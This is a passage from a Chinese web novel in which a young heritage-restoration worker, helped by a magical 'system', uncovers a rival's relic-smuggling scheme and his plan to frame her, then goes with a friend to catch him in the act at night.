“不会,你说得很有意思。”谢时昀摇了摇头,声音低沉温柔,带着笑意,“这个小拉车的设计很好,装在车把手上,你坐着就能控制,更安全,也更方便。” “对对。”时墨点头赞同,转头拍了拍玄青的头,“玄青,你马上就要有新车了,开不开心?” 玄青抬头看了她一眼,尾巴轻轻扫了扫地面,算是回应。 时墨蹲下来,摸着玄青的背,又滔滔不绝地跟谢时昀说起了玄青的趣事:“你不知道,玄青可聪明了。我今天带它去胡同里转,它走一遍就把路全记住了。而且它特别懂事,从来不乱叫,也不乱跑,就在我脚边跟着。穗穗黏它,它也不烦,就趴在那里让穗穗在它身上爬来爬去,脾气看着冷,其实特别温柔……” 她从玄青的饮食习惯,说到它的睡觉姿势,从它怎么照顾穗穗,说到它怎么警惕地巡查院子,一桩一件,如数家珍,眼里的笑意藏都藏不住。 谢时昀就蹲在她旁边,安安静静地听着,看着她眼里的光,嘴角的笑意越来越深。他从来没见过时墨这样放松、鲜活的样子,心里软得一塌糊涂,只觉得就算听她说上一天一夜,也不会觉得腻。 时墨说了一会儿,又发现自己说多了,啊——这就是养了宠物后的变化吗? 她不好意思地看向谢时昀,发现他正看着她笑,也笑了笑:“不好意思啊,第一次养狗,有点太兴奋了。” “正常,玄青和穗穗这么可爱懂事,谁都会喜欢。” “是吧,你也这么觉得!” “当然,我也很喜欢狗,之前太忙一直没空养,毕竟养了它们就要对它们负责。”谢时昀点了点头,目光落在玄青身上,“以后你忙的时候,我可以帮你喂狗、遛狗。反正我住得近,几步路的事,不麻烦。” “行啊!”时墨爽快地应了,转头对玄青说,“玄青,以后谢时昀来给你喂饭,你要给面子,知道吗?” 玄青抬头看了谢时昀一眼,然后扭头,不看他了,一点面子都不给。 时墨笑出了声:“它这是给你下马威呢。” 谢时昀伸出手,放在玄青面前。玄青闻了闻,又抬头看了看他,鼻尖轻碰了下他的手心,又趴回去了。 谢时昀眼底的笑意更浓了:“它这算是给我面子了吗?” “算!”时墨点头道,“它一般人都懒得理的,能碰你已经是最高礼遇了!不过还是要多多熟悉熟悉。” 谢时昀笑着收回手,看着时墨笑得眉眼弯弯的样子,温柔道:“不急,慢慢来,总有一天它会认我的。” 两人又聊了会儿暗格的设计,定好了时间去找木工师傅,谢时昀才起身告辞。 可时墨没想到,她就休息了这一天,林文彬那边已经布下了一个天罗地网,等着她往里跳。 傍晚,时墨刚带着穗穗回到家属院,就有人跑过来喊她,说有她的电话。时墨赶紧跑过去接起来,话筒里传来孙教授又急又沉的声音。 “墨墨,出事了!林文彬今天下午正式给局里打了报告,说你擅自修改施工方案,未经审批就更换了主梁补配材料,存在重大安全隐患。他还说,你马上就要开学了,高三学业繁重,根本没有精力兼顾工程项目,建议局里重新考虑技术负责人的人选。” 时墨握着话筒的手指瞬间收紧,指节泛白。 “孙教授,他这是诬陷。主梁补配方案专家组一起评审定的,材料也是经过您和文保局审核的,我哪有权力擅自修改?” “我知道!我当然知道!”孙教授的声音里满是怒气,“我跟局里解释了,把所有的审批文件、专家评审意见都调出来给他们看了!但林文彬根本就不在乎事实,他就是想找个由头把你踢出去!局里虽然没当场表态,但我看得出来,他们已经犹豫了。毕竟你马上要开学,这是铁打的事实,他们担心你精力不够,耽误了项目的进度,担不起这个责任。” 时墨沉默了一会儿,平静道:“孙教授,我知道了。我会想办法的。” “你想什么办法?”孙教授急了,劝道,“墨墨你可别冲动!林文彬这个人,背后有人,你跟他硬碰硬,吃亏的是你自己!” “我不会硬碰硬。”时墨的声音很冷静,“孙教授,您放心,我有分寸。他想把我踢出去,没那么容易。” 挂了电话,时墨走在回家的路上,晚风一吹,她的脑子格外清醒。 林文彬已经出了招,她不能再只守不攻了。光等着他露出破绽,太被动了,她必须主动出击,抓到他的死穴,一次性把他打趴下,让他再也翻不了身。 【宿主,林文彬这一手太毒了。】系统愤愤不平,【他这是明摆着欺负你年纪小、没背景!】 【我知道。】 【那你想怎么办?】 【小七,你能不能全面扫描林文彬的所有行踪、通话记录、银行流水、以及跟所有人的往来信件、交易记录,事无巨细。我不信他这种钻营捞好处的人,屁股能干净!】 【可以,但是价格昂贵。】系统严肃道,【宿主当前能量币持有37630,若要挖到所有,将扣除四万能量币。】 时墨没想到这么贵,但又觉得这种消息渠道就算让别人查也不便宜,并且她现在还没有渠道和人手去查他。 【能不能先欠着?】时墨挑眉,【等我拿到他的证据,解决了这事,双倍还你。】 【啊?这不合规矩啊,被主系统查到,我会被关禁闭的!】系统瞬间怂了,但又眼馋那么多能量币,犹豫了半天,还是咬牙道,【不过……宿主你是我带过最好的宿主,我信你!就4500能量币,我偷偷给你垫上!】 【谢了,小七。】 【不客气!】 半分钟后,系统就将林文彬的资料调出来。 【宿主!果然如你所料!】系统的声音急促起来,带着明显的紧张,【林文彬不仅在以往参加过的项目里吃回扣、虚报工程款,他还在借着项目的名头,偷偷倒卖文物!】 时墨迈出的脚立刻停下:【什么?!】 【他这次借着项目协作组的名头,偷偷联系了境外的文物贩子!】系统一边调取资料一边汇报,【他想把梅先生故居修缮过程中拆下来的老隔扇窗、木雕构件、砖雕,还有几扇梅先生生前用过的金丝楠木屏风,偷偷倒卖到境外去!我扫到了他跟境外贩子的加密往来信件,已经谈好了价格,开价五万美金!他甚至已经买通了工地门口的值班人员,定好了三天后的晚上,就把东西偷偷运出去,走水路出境! 时墨揣在兜里的手瞬间收紧,指甲掐进掌心。 她没想到,林文彬的胆子居然这么大。他不仅想抢功劳、把她踢走,居然敢倒卖国家级文保单位的文物构件,这是彻头彻尾的犯罪! 可她还没来得及细想,系统的声音再次响起,带着前所未有的警惕。 【宿主!我还查到,林文彬已经布好局了!他准备在运走文物的当天,伪造你跟境外贩子的通信记录、收款凭证,把所有的事都栽赃到你头上!他要给你扣上一个“监守自盗、倒卖国家文物”的帽子,让你不仅被踢出项目,还要坐牢,永无翻身之日!】 【还有!】系统的声音更急了,【小七还查到,林文彬已经安排好了人手,准备在工地设局!他想趁着今晚倒卖文物的时候,把赃物藏到你办公室里,然后报警,给你扣上一个‘监守自盗、倒卖文物’的帽子!让你永无翻身之日!】 时墨的瞳孔瞬间缩紧,一股寒意从脚底直冲头顶。 她没想到,林文彬居然这么狠,不仅要毁了她的前途,还要她的命! 第70章 时墨站在家属院的胡同口, 路灯还没亮,天边最后一抹光正在消退。远处传来零星的自行车铃声,有人在喊外面疯玩的孩子回家吃饭, 一切如常。 但一场针对她的风暴, 已经逼近眼前。 【宿主, 怎么办?要不要现在就报警?】系统急得不行, 【我已经把证据都整理好了,铁证如山,够他牢底坐穿!】 【想要我的命,也要看我答不答应。】时墨冷笑一声,脚步没停, 【现在还不是报警的时候, 林文彬能在文保局混这么多年,历经好几个国家级项目都稳如泰山, 背后肯定有人。贸然报警, 万一打草惊蛇,他上面的人把他捞出去, 或者干脆让他当个替罪羊, 我就彻底被动了。我得想个法子, 把林文彬和他背后的人, 一网打尽。】 【怎么谁背后都有人啊!】系统愤愤不平道, 【没事宿主,你背后有我,咱不怕!他就算有通天的关系, 我也能把他的底扒得一干二净!】 【好,我有你,不怕。】时墨笑道, 加快脚步往家走去。 她没法给系统解释,人类社会里,光有证据有时候是不够的,庞大的关系网里,一步错,就是满盘皆输。 她家亮着灯,窗户上蒙着一层白雾,隐约能看见李秀兰在厨房里忙活的影子。时墨走上楼推开家门,一股葱花炝锅的香味扑面而来。 “回来了?”李秀兰端着一盘醋溜白菜从厨房出来,看见女儿脸色不太好,关心道,“怎么了这是?脸色这么难看?” “没事,妈,我就是有点累,晚上早点睡就好了。”时墨换了鞋,把布包放下,去卫生间洗了把冷水脸,压下了心里的沉郁。 时爱国已经坐在桌边了,看见时墨出来,往旁边挪了挪给她腾地方:“累就先吃饭,吃完回屋躺着,图纸明天再画,什么事都得一点点干,别着急。” “嗯。”时墨坐下,端起饭碗,扒了两口,却没什么胃口。 时建军从厨房端了盆大骨汤出来,“咚”地搁在桌子中间,给时墨盛了满满一碗:“妹,快喝点汤,妈炖了一下午,补补身子。我看你这几天都瘦了。” 一家人刚端起碗,门外就传来了轻轻的敲门声。 “我去开。”时建军放下筷子跑去开门,看见门口站着的谢时昀,惊讶道,“谢哥?你怎么来了?快进来坐!吃饭了没?” “吃过了,谢谢。”谢时昀笑着应了,走进屋,目光越过众人,第一时间就落在了时墨身上。 时墨看到谢时昀,又看到他手里的档案袋,心里一沉,放下筷子站起来。 两人眼神对视的瞬间,时墨立刻猜到了他此行的目的。 “小谢来了,吃饭了没有?没吃坐下一起吃!”李秀兰热情地招呼着,“今天炖了骨头汤,我再去给你拿副碗筷。” “阿姨,我真吃过了,不麻烦您了。”谢时昀礼貌拦住她,目光重新落回时墨身上,“我来找时墨说点事。” 时墨立刻会意,对着爸妈道:“爸妈,我和谢哥有事要聊,我们去里屋说。” “别啊闺女。”时爱国看了眼他手里的档案袋,放下筷子,表情严肃起来,“是不是刘胖子的事有什么消息了?你别总想着自己扛,爸妈虽然没什么大本事,但吃的盐比你吃的米多,能给你拿拿主意。” “就是啊墨墨。”李秀兰也停下了手里的动作,“妈知道你懂事,怕我们担心,可你越瞒着,我们这心里越七上八下的,一晚上都睡不踏实。有什么事,一家人坐在一起商量,总比你一个小姑娘扛着强。” 时建军也在旁边附和:“是啊妹,有什么事你就说!我是你哥,天塌下来我给你顶着!” 时墨看着一家人满眼的关切,心里一暖,也不再瞒着,招呼谢时昀在沙发上坐下,给他倒了一杯热茶。 几人围坐在沙发上,原本热热闹闹的屋子瞬间安静下来。 谢时昀将文件从档案袋里抽出,递给了时墨。 时墨看到最上面那份文件的抬头,赫然写着“林文彬”三个字,诧异地看向谢时昀:“他跟刘胖子的事有关联?” “林文彬?”时爱国皱着眉念出这个名字,“这人是谁?” “文保局派到梅先生故居项目的协作组主任。”时墨把文件放在茶几上,抬头跟家人解释,“就是之前在工地上,处处找我麻烦,想把我踢出项目的那个人。” 谢时昀点点头,接过话茬:“我今天刚拿到完整的证据链,看到他的名字,我担心你有危险,第一时间就过来了。林文彬跟刘胖子是同一条线上的,合作了快五年了。刘胖子负责收货、倒卖,林文彬借着经手文保项目的名头,把这些来路不明的文物‘洗白’,再通过他手里的外贸渠道倒卖到境外,两个人分赃,干的都是掉脑袋的勾当。” 他从档案袋里抽出一沓银行转账记录,平摊在茶几上。 李秀兰凑过来看了一眼,密密麻麻的数字看得她眼晕,可最末尾那一行“汇款金额:20000美元”,她看得明明白白,瞬间惊呼出声:“两万美金?!我的天爷!这得换多少人民币啊!他一个文保局的小干部,哪来这么多钱?” 时爱国也凑过来看,眉头越皱越紧。他当了半辈子技术工人,一个月工资才五十多块,两万美金对他来说,简直是想都不敢想的天文数字。 时墨指尖划过记录,上面清晰地显示着,林文彬妻子的账户,每隔三四个月,就会有一笔来自香港的匿名汇款,金额从几千到几万美金不等,时间线刚好和他经手的文保项目周期严丝合缝地对上。 “这些钱,全是他倒卖文物的赃款。”谢时昀的声音很平静,但眼神冷得吓人,“我最近一直在查刘胖子的走私线,今天才终于把这条线彻底摸透。经他手倒出去的文物,光是有记录的,就价值上百万人民币,没记录的,只会更多。” “上百万?!”时建军差点从沙发上蹦起来,眼睛瞪得溜圆,“我的妈啊!这可是掉脑袋的事啊!他胆子也太大了!” “够他把牢底坐穿了。”时墨冷冷地说。 李秀兰的脸色发白,一把抓住时墨的胳膊:“闺女啊!这、这可是敢倒卖文物的亡命徒啊!他既然敢干这个,那还有什么事做不出来?你还在他眼皮子底下上班,这不是往狼窝里钻吗?不行,这班咱不上了!这个项目咱也不做了!咱回家,安安稳稳准备高考,比什么都强!” “妈,你别着急。”时墨连忙拍着她的手安抚道,“我没事,他现在还没把我怎么样。” “你还想等他怎么样?”时爱国当了一辈子老实本分的工人,哪里接触过这种阴私歹毒的事,气得手都在抖:“墨墨,你跟爸说实话,他是不是已经准备对你下手了?” 时墨看着父亲沉重的表情,没再瞒着,把自己查到的消息,换了个稳妥的说法告诉了他们:“我托人打听了,他三天后要把梅先生故居里拆下来的老隔扇窗、木雕构件偷偷运出去,卖到境外去。而且他已经准备好了假证据,要把这事全栽赃到我头上,说我监守自盗,倒卖国家文物。” 这话一出,客厅里瞬间炸了锅。 李秀兰红了眼,愤恨骂道:“这个挨千刀的!心怎么这么黑!我们墨墨招他惹他了?他要这么害我们闺女!就因为挡了他抢功劳的路,他就要毁了我们闺女一辈子啊!这要是栽赃成了,是要坐牢的啊!” “放他娘的屁!”时建军“蹭”地站起来,脸涨得通红,拳头攥得咯吱响,“我妹辛辛苦苦修房子,他倒打一耙?!我现在就去找他算账!” “哥!你坐下!”时墨一把拉住他,用力把他按回沙发上,“你现在去找他,除了打他一顿,能解决什么问题?你打了他,正好落了他的口实,到时候他反咬一口,说我们恼羞成怒恶意伤人,我的事就更说不清楚了!你想让我平白无故背个处分?” “那怎么办?就眼睁睁看着他害你?”时建军气得眼圈都红了,“我这个当哥的,看着你被人这么欺负,我心里堵得慌!” “建军!你冷静点!”时爱国厉声喝住他,“你妹妹说得对!现在冲动没用!只会把事情越搞越糟!” 时建军拳头攥得死紧,青筋都暴起来了,胸膛剧烈起伏着,但到底没再往外冲。 时爱国头看向时墨,脸色凝重:“墨墨,你跟爸说实话,这事有多大把握?你要是觉得不行,咱就撤,那工程咱不干了,房子也不修了,咱一家人平平安安比什么都强。” “爸,您放心。”时墨看着父亲的眼睛,保证道,“我有十成的把握。林文彬干的那些事,证据都在我和谢哥手里。现在不动手,是想等他把东西运出去的时候人赃并获。到时候,他想赖都赖不掉。” 时爱国盯着女儿看了好一会儿,看到她眼里的沉稳和笃定,终于点了点头:“行,爸信你。但你得答应我,不管出什么事,不能自己扛。有事跟家里说,跟小谢商量,别一个人冒险。” “我答应您。”时墨认真地地点了点头。 谢时昀看着急得团团转的一家人,沉稳道:“叔叔阿姨,建军,你们别太着急。这事我已经提前部署了,绝不会让墨墨受半点委屈。我认识市公安局刑侦队的队长,还有海关缉私科的老同学,已经跟他们打过招呼了,只要他敢动手,定让他插翅难飞。” 他这话一出,时家老两口瞬间像是找到了主心骨,悬着的心稍稍落了点。 李秀兰拉着谢时昀的手,眼眶又红了:“小谢,真是太麻烦你了……” “阿姨,您别这么说。”谢时昀笑了笑,语气温和,“我跟时墨是朋友,应该的。” 可时爱国还是皱着眉,有些担忧:“那也不行啊!这事实在太凶险了!墨墨一个小姑娘,万一林文彬狗急跳墙,带着人手里有家伙怎么办?闺女,你要不这几天就请假待在家里,别去工地了!等事情彻底了结了再说!” “是啊妹,爸说得对!”时建军立刻附和,“工地那地方现在就是狼窝,林文彬那孙子天天在那儿盯着,你去了不是羊入虎口吗?这几天你就在家待着,工地那边我帮你盯着,有什么事我立刻告诉你!” “不行。”时墨摇了摇头,语气坚定,没有半分商量的余地,“我要是突然不去工地了,林文彬肯定会起疑心,知道我们发现了他的计划,到时候他暂停行动,或者换个法子害我,我们更被动。只有我照常去上班,让他以为我什么都不知道,以为我已经被他打压得没脾气了,他才会按原计划动手,我们才能人赃并获。” “可是……”李秀兰还想劝。 时墨给谢时昀递了个眼神,谢时昀立刻领会,连忙帮着开口安抚:“阿姨,您放心。墨墨说得有道理,现在最稳妥的办法,就是让林文彬放松警惕。我已经跟公安局和海关的朋友都打了招呼,那边的人手都安排好了。林文彬的一举一动,都在我们眼皮底下。时墨不会有事,我保证。” 他说“我保证”三个字的时候,语气比前面的任何一句话都重。 谢时昀的身份摆在这儿,说话又沉稳笃定,时家老两口对视一眼,终于稍稍放下了心,只是反复叮嘱时墨,万事小心,千万别逞强。 时墨趁热打铁,笑着拍拍李秀兰的手:“妈,你看,谢哥都安排好了。我就跟平常一样上工,该干什么干什么,他盯他的,我干我的,谁也碍不着谁。等他把东西一运出去,当场人赃并获,这事儿就结了。” 时建军还是不死心,搓着手在屋里转了一圈:“那这几天我接送你还是得照常吧?这个不显眼吧?” “不显眼。”时墨笑了笑,“哥你天天接送我,大家都知道。” 时建军这才踏实了点,一屁股坐回沙发上:“那就行。反正这几天我寸步不离跟着你。” 时墨笑着点头,又嘱咐道:“行,那你每天帮我去小院喂喂玄青、遛遛它,别让它饿着,顺便帮我把院子里里外外检查一遍,再通通风。” “这你放心。”时建军应下。 时爱国在旁边听着,忽然开口:“墨墨,那个林文彬背后的人,到底是谁?” 时墨没有瞒他:“文保局的副局长周明成,是林文彬的表哥。林文彬能进文保局,接连拿到好几个国家级项目,全是靠他这个表哥的关系。” 时爱国点了点头,长长地叹了口气:“怪不得。这种人,不把根拔了,早晚还得出来害人。” 谢时昀从档案袋里又抽出一份文件,递给时爱国:“叔叔,周明成的事,我也在查。这是他收受贿赂、帮林文彬打掩护的证据,等林文彬这边收网了,顺着这条线往上挖,一个都跑不了。” 时爱国接过文件看了看,虽然看不太懂那些复杂的转账记录和关系图,但有一件事他看明白了——这个副局长,光去年半年就收了林文彬五万多块的“孝敬”。 “五万三千块……”时爱国喃喃道,把文件放回茶几上,“我干一辈子也挣不了这么多钱。这人啊,有了权,心就黑了。” 李秀兰在旁边听着,忽然问:“小谢,你查这些,会不会有危险?那些人……万一知道你在查他们……” “阿姨,您放心。”谢时昀的语气很稳,“我做事有分寸,不会让他们发现的。” 李秀兰这才放心了一些,但还是叮嘱道:“小谢,你自己也小心点。要是觉得不对,就别查了,安全第一。” “知道了,阿姨。” 时爱国看向谢时昀,语气郑重道:“小谢,这些事,让你跟着担风险了。我们一家人,真的不知道该怎么谢你。” “叔叔,您太客气了。”谢时昀笑了笑。 窗外,天彻底黑了。 时爱国看了看墙上的挂钟,快九点了。他把茶几上的文件归拢好,小心翼翼地塞回档案袋里,递给谢时昀:“小谢,这些证据你收好,都是要命的东西。” 他顿了顿,又看着谢时昀,格外认真道:“墨墨这孩子从小就主意正,认准了的事九头牛都拉不回来。但她毕竟是个小姑娘,社会经验少,有些事想不周全。你多提点她,别让她犯傻。” 谢时昀接过档案袋,郑重地点了点头:“叔叔放心,我绝不会让墨墨出事。” 时墨在旁边听着,想反驳一句“我什么时候犯过傻”,但看着老爸那一脸认真的表情 ,又把话咽了回去。 谢时昀起身告辞,跟时爱国握了握手:“叔叔阿姨,那我今晚先回去了,不打扰你们休息了。” “好,路上慢点。”时爱国送他到门口。 李秀兰也站起来,拉着谢时昀的手又叮嘱了几句。 时墨送他到楼道口。 走廊里的灯泡坏了,只有楼下路灯的光透过窗户照进来,模模糊糊的。 “谢时昀。”时墨叫住他。 “嗯?”他转过身,声音在安静的楼道里格外低沉。 “谢谢你帮我查这些。” 谢时昀往前走了一步,离她近了些,楼道里光线暗,看不清他的表情,但时墨能感觉到他在笑。 “跟我还用说谢谢?”他的声音很轻,带着点说不清的温柔,“回去吧,早点休息,别想太多。有我在,天塌不下来。” 时墨点了点头,转身往家走。走了两步,又回头看了一眼。 谢时昀还站在那儿,手里拿着档案袋,安安静静地看着她。 “怎么了?”他问。 “没什么。”时墨收回目光,消失在了拐角处。 客厅里,一家人还坐在沙发上,谁都没去睡觉。 李秀兰眼眶还红着,看见时墨进来,招招手让她坐过去:“墨墨,你跟妈说实话,那个林文彬……他要是真把脏水泼你身上,你怎么办?” “妈,您放心。”时墨坐在她身边,搂着她的肩膀,“他泼不上的。他偷东西那天,公安就在旁边盯着。等他动手,人赃并获,他自己都跑不了,哪还有功夫来害我?” 李秀兰将信将疑:“真的?” “真的。”时墨用力点头。 时爱国坐在旁边眉头紧锁,沉默了好一会儿,忽然开口:“闺女,小谢这个人,你了解多少?” 时墨愣了一下:“怎么突然问这个?” “没什么。”时爱国说起了自己的顾虑,“我就是觉得,他对你的事,上心得有点过了。邻居归邻居,朋友归朋友,但帮你查这种掉脑袋的事,可是要担大风险的,他图什么?” 时墨沉默了。 她不是没想过这个问题。 谢时昀帮她,早就超出了普通邻居、普通朋友的范畴。查刘胖子,查林文彬,找公安,找海关,桩桩件件都是费时费力又担风险的事。他图什么? “爸,您别想那么多。”时墨笑了笑,“谢时昀本身就在对外经济联络总局上班,打击走私本来就是他职责范围内的事。他查这条线也不是一天两天了,我只是正好撞上了,他顺手帮了我一把。” 时爱国看了她一眼,没再说什么,只是叹了口气:“行吧,你心里有数就行。但你记住,害人之心不可有,防人之心不可无。不管什么时候,都得给自己留条后路。” “我知道了爸。” “行了,不早了,都睡吧。”他站起来,“墨墨,你明天还去工地吗?” “去。”时墨说,“越是这样,越不能躲。我一躲,他们反而起疑心。” 时爱国点了点头,转头看向时建军:“行,你自己小心点。建军,你明天正常送你妹妹去工地。” “知道了爸!保证完成任务!”时建军立刻敬了个不伦不类的礼,逗得原本沉重的气氛轻松了点。 * 接下来的三天,过得比时墨想象的平静。 时墨彻底开启了“躺平模式”。 一来是为了麻痹林文彬,二来也是因为她能量币已经倒欠系统四千多,不敢再像以前一样事事上心,多余一点的活都不干。 每天到了工地,就往办公室一坐,泡杯茉莉花茶,翻翻图纸,到点就去现场转一圈,多一句话不说,多一步路不走,活脱脱一副被打压得没了心气、破罐子破摔的样子。 林文彬果然上了当。 他看时墨这副状态,只当她是知道了局里的意见,知道自己马上要被踢出项目,彻底放弃挣扎、摆烂了,心里得意得不行,天天在工地上晃悠,时不时就晃到时墨的办公室门口,假意“好心”教导她。 这天下午,林文彬又晃了过来,皮笑肉不笑地说:“时墨同志,不是我说你,年轻人还是要有点上进心。你看你这几天,天天在办公室坐着,图纸也不画了,现场也不盯了,这怎么能行?”说着又假意关心道,“你要是身体不舒服?要不要回去休息休息?” 时墨抬眼看他,端起茶杯喝了一口,慢悠悠地说:“多谢林主任关心,我好得很。” “那就好。”林文彬点点头,话锋一转,“不过年轻人嘛,还是要多把心思放在正事上。工程这边,有我们这些老同志盯着,出不了岔子。你马上就要高考了,学业为重,可别因为工程耽误了学习,到时候考不上大学,家长来找,我们可担待不起。” 这话说得冠冕堂皇,话里话外却全是刺——说她不务正业,说她分不清轻重,说她在工地上就是多余的。 时墨笑着站起来,放下手里的笔:“林主任说得对,学业为重。所以我这几天把图纸都改完了,施工进度也安排好了,就等着验收了。倒是林主任您,协作组来了这么久,方案提了好几个,好像一个都没落地?不知道局里问起来,您拿什么交差?” 旁边几个工人听见了,都偷偷捂着嘴笑。王师傅更是毫不客气,直接笑出了声。 林文彬气得脸都绿了,咬了咬牙,压低声音:“时墨同志,你年纪小,我不跟你一般见识。但你记住,这个项目,不是你一个人说了算的。”说完,转身走了,步子又快又重。 他没看见,时墨看着他的背影,嘴角勾起一抹冰冷的笑。 【宿主,他刚才出门的时候,跟他那个跟班说,等事成了,第一个就把你踢出去,让你永远都进不了古建这行。】系统愤愤不平地说。 【让他说去吧,他蹦跶不了几天了。】时墨在心里冷笑。 中午,孙教授把时墨叫到办公室,关上门,脸色凝重:“丫头,你跟我说实话,你是不是有什么打算?林文彬这几天天天往局里跑,没少给你上眼药,说你消极怠工,不适合待在项目上。你要是没辙,就跟我说,你师傅把你交给我,我豁出这张老脸,也能保下你。” 时墨看着头发花白的孙教授,犹豫了一下,还是说了:“孙教授,林文彬的事,我已经找到办法了。最多两天,就会有结果。” 孙教授愣了一下,随即叹了口气:“你这丫头,跟老宋一个脾气,什么事都自己扛。你小心点,有什么事随时给我打电话。” “我知道,谢谢孙教授。” 从办公室出来,时墨看见时建军已经在工地门口等着了。这几天他每天提前下班,准时来接她,风雨无阻。今天他站在门口,警惕地扫视着工地上的每一个人,跟个哨兵似的。 时墨走过去,拍了拍他的胳膊,哭笑不得:“哥,你放松点,你这样,谁看了都知道有事。” “我放松不了。”时建军绷着脸,压低声音,“那个林文彬刚才从门口过,看了我一眼,那眼神阴得很,我总觉得他没安好心。” “他本来就没安好心。”时墨挽住他的胳膊,往外走,“走了走了,回家吃饭。明天就是最后一天了,别露了马脚。” 时建军被她拉着走,嘴里还在念叨:“妹,你说他会不会狗急跳墙?会不会提前动手?要不咱们还是——” “哥。”时墨停下脚步,认真地看着他,“不会的。他这个人,精得很,不会提前动手。他的计划每一步都算好了,不会因为咱们就改。你就放心吧。” 时建军张了张嘴,还想说什么,最后又憋了回去:“行吧。反正明天就第三天了。” 第三天傍晚收工,时建军早早就在工地门口等着了,推着自行车的手心全是汗,看见时墨出来,立刻迎上去。 “妹。”他眼睛往工地方向瞟了一眼,小声道,“是不是就今天晚上?” 时墨点了点头。 时建军深吸了一口气,攥紧了自行车把手:“那咱们现在去哪儿?” “先去小院,看看玄青和穗穗,然后去谢哥家。” 一路上,时建军骑得飞快,嘴里反复问她计划安不安全。 到了小院,玄青远远就听见了时墨的动静,在门后低低地叫了一声。 时墨开了门,它立刻扑过来,围着她转了两圈,确认她没事,才安安静静的跟着她腿边。穗穗从窝里爬出来,摇摇晃晃地走到她脚边,用小脑袋拱她的鞋,哼唧着。 时墨蹲下来,摸了摸玄青的头,又捧起穗穗,揉了揉它毛茸茸的小脑袋:“今晚要好好看家哦。” 玄青像是听懂了,低低地“呜”了一声,尾巴在地上扫了一下,琥珀色的眼睛紧紧地盯着她。 时墨把穗穗放回窝里,又给两只狗添了时建军从家里带的狗饭,换了干净的水,又检查了一遍院门和屋门的锁,才和时建军一起出了门,往谢时昀家走去。 谢时昀早就等着他们了。 客厅的茶几上摊着一张手绘的的工地平面图,上面用红笔、蓝笔清清楚楚地标注着工地周边的路线、林文彬计划的运货通道、公安布控的位置,甚至连胡同里的每一个拐角都标得明明白白。旁边放着两部对讲机、一台装了消音罩的尼康相机,还有两把警用强光手电。 “这是工地的平面图。”谢时昀指着地图上标注的红点,“林文彬今晚动手的地方在这里,材料仓库旁边的侧门。他们约好晚上九点半,一辆中型货车从侧门进来,装上东西就走。我已经安排了人在胡同口蹲守,货车一进来,就跟上去。” 时墨看着地图,脑子里的系统也在同步扫描,跟谢时昀标注的位置分毫不差。 时建军看着图纸,紧张得手心冒汗,拉着时墨的胳膊:“妹,你看,人家警察都安排好了,咱就在这儿等着消息行不行?工地里太危险了,万一林文彬带着人手里有家伙怎么办?” “不行。”时墨摇了摇头,指着图纸上的正房位置,“林文彬准备栽赃我的假证据,就藏在正房的梁架上,是伪造的我跟境外贩子的通信记录和收款凭证。这些东西必须在现场拿到,不然他事后可以抵赖,说这些东西不是他放的。只有我跟着去,才能第一时间找到这些证据,把他的栽赃也一并坐实。” 【宿主放心!今晚我全程在线!全区域扫描开启!林文彬的人在哪里、手里有没有家伙、藏在哪里,我都能实时报给你!绝对保证你的安全!】系统立刻拍着胸脯保证,【这种大场面,我怎么能缺席!必须全程保驾护航!】 时建军还想说什么,但对上妹妹那双平静的眼睛,到嘴边的话又咽了回去。他咬了咬牙,重重地点了点头:“行。但你得答应我,一有不对,立刻出来,我也能帮你挡一下。” “我答应你。” 谢时昀递给时墨一件深色的外套:“穿上,别太显眼。” 时墨接过,麻利地套上。 出发前,时墨往家属院打了个电话,跟爸妈说他们跟警察一起,很安全,晚点就回来,让他们早点睡,不用等。 谢时昀拿起相机和手电筒,又从抽屉里拿出一把防身的匕首别在腰上,带着兄妹俩出了门,开着他的黑色轿车,往梅先生故居的方向开去。 车子停在离工地一条街的胡同里。 谢时昀刚熄了火,系统的声音就响了起来:【宿主!扫描完成!工地前门有两个保安,都是林文彬买通的,后门还有一个,身上都带着钢管!林文彬带着四个人,现在已经在正房里了,正在装西边的隔扇窗!还有,他准备栽赃你的那个信封,就藏在正房梁架左边第二个榫卯槽里!】 时墨立刻把位置和情况告诉了谢时昀。谢时昀点了点头,拿起对讲机,低声跟外面布控的民警同步了情况。 “哥,你就在车上等着,锁好车门,不管听到什么动静都别下来。”时墨转头对时建军说,“对讲机给你留一部,万一有什么突发情况,你立刻跟外面的警察接应。” “不行!我要跟你们一起去!”时建军立刻急了,伸手就要拉车门,“我不能让你一个人进去冒险!” “哥,人多了反而容易暴露。”时墨按住他的肩膀,力气大得时建军一愣,“林文彬的人都在正房里,人多了动静大,被他们发现了,计划就全毁了。你在这儿守着,就是帮我们最大的忙。相信我,相信谢哥,我们不会有事的。” 谢时昀也跟着劝了两句,说外面的民警五分钟就能冲进去,绝对安全。时建军这才不情不愿地答应了,反复叮嘱时墨一定要小心,有事立刻喊他。 夜色沉沉,胡同里没有路灯,只有天上残月洒下一点冷光,夜风刮过胡同口的老树的树杈,发出呜呜的声响,平添了几分紧张。 时墨跟在谢时昀身后,借着墙根的阴影,悄无声息地绕到了工地的侧门。 系统实时报着保安行动路线和要经过检查的位置,两人完美避开了巡逻的保安以及对方手中的四下扫射的手电筒,踩着墙角的砖堆,快速从侧门的矮墙翻了进去,动作轻得像猫,落地时连一点声音都没出。 【宿主!正房里的人还在拆隔扇,没发现你们!最佳隐蔽位置在正房廊下的左边柱子后面,能看清里面的全部情况,还不会被发现!林文彬就站在门口抽烟!】系统的声音精准地指引着方向,连呼吸都放轻了。 时墨轻轻扯了扯谢时昀的衣角,伸手指向系统说的隐蔽位置。 谢时昀点了点头,侧身将时墨护在里面,两人贴着墙根,悄无声息地挪到了柱子后面。这里角度刚好,既能看清正房里的全部情况,又被柱子挡着,屋里的人根本发现不了。 两人刚藏好,就听见正房里传来林文彬压低的声音,带着掩饰不住的得意:“都小心点!别磕坏了!弄坏了一点,你们一年的工资加起来都赔不起!” 时墨探出头,借着月光,清晰地看见正房里的场景:林文彬嘴里叼着烟,站在一旁指挥,四个工人正小心翼翼地把拆下来的隔扇窗用棉絮包好,往麻袋里装。地上还放着三个木箱子,里面装着拆下来的木雕、砖雕、字画,全是梅先生故居里的文物,每一件都带着百年的历史。 时墨的心跳瞬间快了几分,指尖微微收紧。 谢时昀举起相机,调整好焦距,悄无声息地按下快门,把里面的场景一张一张全拍了下来。闪光灯被黑布裹住,没有发出一点光。 就在这时,林文彬忽然把烟摁灭在地上,对着身边的跟班低声问:“东西都准备好了吗?” “放心吧林主任,都准备好了。”跟班谄媚地笑着,指了指房梁,“就藏在梁架上的榫卯槽里,指纹都擦干净了,只留了时墨那丫头之前碰梁架时留下的指纹,保证警察一查一个准!” 